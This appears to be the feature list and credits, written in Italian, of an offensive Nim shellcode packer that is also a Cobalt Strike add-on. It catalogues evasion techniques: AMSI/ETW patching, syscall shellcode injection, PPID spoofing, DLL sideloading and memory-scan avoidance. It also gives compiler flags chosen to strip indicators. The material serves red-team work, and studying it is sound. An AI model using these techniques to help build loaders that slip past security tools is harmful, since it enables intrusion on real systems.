- [x] Patching AMSI/ETW del processo remoto basato su [SnD_AMSI](https://github.com/whydee86/SnD_AMSI)
- [X] Usare syscalls per il patching remoto
- [X] Caricare da remoto la DLL 'da patchare' (ntdll o amsi.dll) nel processo remoto prima del patching (altrimenti non ci aiuterà)
- [x] Supporto Hellsgate per iniezione di shellcode remota + PELoading
- [X] Output DLL
- [X] Capacità di sideloading DLL
- [X] Output PowerShell
- [X] Output C#
- [X] Più syscalls e/o D/Invoke per funzioni win32
- [X] Integrazione Cobalt Strike - CNA
- [ ] Passaggio di parametri tramite, ad esempio, manipolazione del campo PEB (come Command line spoofing)
- [X] Passaggio di parametri tramite patching di funzioni di importazione API
- [X] Crittografia della memoria dello shellcode tramite Sleep Hook [simile a ShellcodeFluctuation](https://github.com/mgeeky/ShellcodeFluctuation)
- [X] Chiamare le funzioni Windows 'GetConsoleWindow' e 'ShowWindow' dopo che il processo è stato creato e gli hook dell'EDR sono caricati, e quindi cambiare gli attributi della finestra in nascosti invece dei flag di compilazione GUI
- [X] Più sleep tra alcuni stub potenzialmente critici
- [X] Definire un processo remoto personalizzato da spawnare prima di iniettarvi (al momento è hardcoded notepad)
- [X] PPID Spoofing per processi appena creati
- [X] BlockDLLs per nuovi processi
- [X] Bypass AMSI senza patch (ad es. https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf)
- [X] Bypass AMSI tramite Hook di NtCreateSection (ad es. https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/)
- [X] Più Patching ETW per EtwNotificationRegister, EtwEventRegister, EtwEventWriteFull
- [X] Supporto binari servizio, come https://github.com/enthus1ast/nimWindowsService/
- [X] Switch per DLL hijacking per DLLMain con process attach
- [X] Correggere bug di casting x86
- [ ] Supporto Wow64
- [X] Aggiungere `--pump` byte nulli in mezzo come https://gitlab.com/ORCA000/entropyfix (Da testare, potrebbe causare crash)
- [X] File output CPL
- [ ] Opzione richieste HTTP decoy
- [X] Scaricare Shellcode da Webserver o leggerlo da file locale come alternativa all'incorporamento (default)
- [X] Usare più flag del compilatore per sovrascrivere dynlib per evitare IoC delle funzioni e ridurre le dimensioni `-d:nimNoLibc -d:noSignalHandler --gc:none -d:noSignalHandler --infChecks:off --stdout:off --hotCodeReloading:off --stackTraceMsgs:off --tlsEmulation:off --nanChecks:off -d:nimBuiltinSetjmp --sinkInference:off --deepcopy:off --styleCheck:off --skipParentCfg --passC:"-nostdlib -ffunction-sections -fno-ident -fno-asynchronous-unwind-tables -fno-exceptions" --passL:"-s --disable-runtime-pseudo-relo --disable-reloc-section" --dynlibOverrideAll`
- [X] Usare handle clonati invece di OpenProcess (tipo HandleKatz) per l'iniezione nel processo remoto o come alternativa all'elevazione degli handle
- [X] Elevazione degli handle
- [X] Aggiungere ThreadlessInject per iniezione remota
- [ ] Aggiungere primitive di esecuzione callback per iniezione remota tramite una porta Nim di https://github.com/lem0nSec/CreateRemoteThreadPlus
- [X] Memorizzare i payload come indirizzi MAC o IP e recuperare il payload crittografato in fase di esecuzione per diminuire l'entropia
- [X] Aggiungere multipli salti per diverse regioni nell'indirizzo di avvio del thread (tipo DripLoader) per evitare rilevazioni di scansione della memoria (https://web.archive.org/web/20220319032617/https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)
## CREDITI
- [X] [@WhyDee86](https://twitter.com/WhyDee86) - Funzione Sleep + modulo Library del processo remoto + codice iniziale per argomenti hardcoded
- [X] [@chvancooten](https://twitter.com/chvancooten) - Strenc personalizzato + Ispirazione dal suo Nim Packer
- [X] [@lefayjey](https://github.com/lefayjey) - Output DLL + Contributo script CNA
- [X] [@d35ha](https://github.com/d35ha/CallObfuscator) - CallObfuscator
- [X] [@klezVirus](https://github.com/klezVirus/NimlineWhispers3) - NimlineWhispers3
- [X] [@TheWover](https://github.com/TheWover/donut) - Donut
- [X] [@icyguider](https://github.com/icyguider) - Ispirazione
- [X] [Tylous](https://github.com/Tylous/) - LimeLighter
- [X] [Mr-Un1k0d3r](https://github.com/Mr-Un1k0d3r) - Patch AMSI / ETW di 1 byte + Idee per SandBox Evasion
- [X] [glynx](https://github.com/glynx) - Pull Request per argomenti hardcoded di Nim-RunPE
- [X] [moloch--](https://github.com/moloch--) - Denim
- [X] [EdgeBalci](https://github.com/EgeBalci) - SGN
- [X] [monoxgas](https://github.com/monoxgas) - Koppeling
- [X] [eversinc33](https://github.com/eversinc33) - BouncyGate, Docker File
- [X] [OffenseTeacher](https://github.com/OffenseTeacher) - Steganim
- [X] [OtterHacker](https://github.com/OtterHacker/Conferences/tree/main/Defcon31) - Idea di Stomb+Threadless inject
- [X] [DrDv](https://github.com/DrorDvash) - CommandLine Generator
## Dichiarazione legale:
L'uso di NimSyscallPacker per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo programma. Usalo solo per scopi educativi.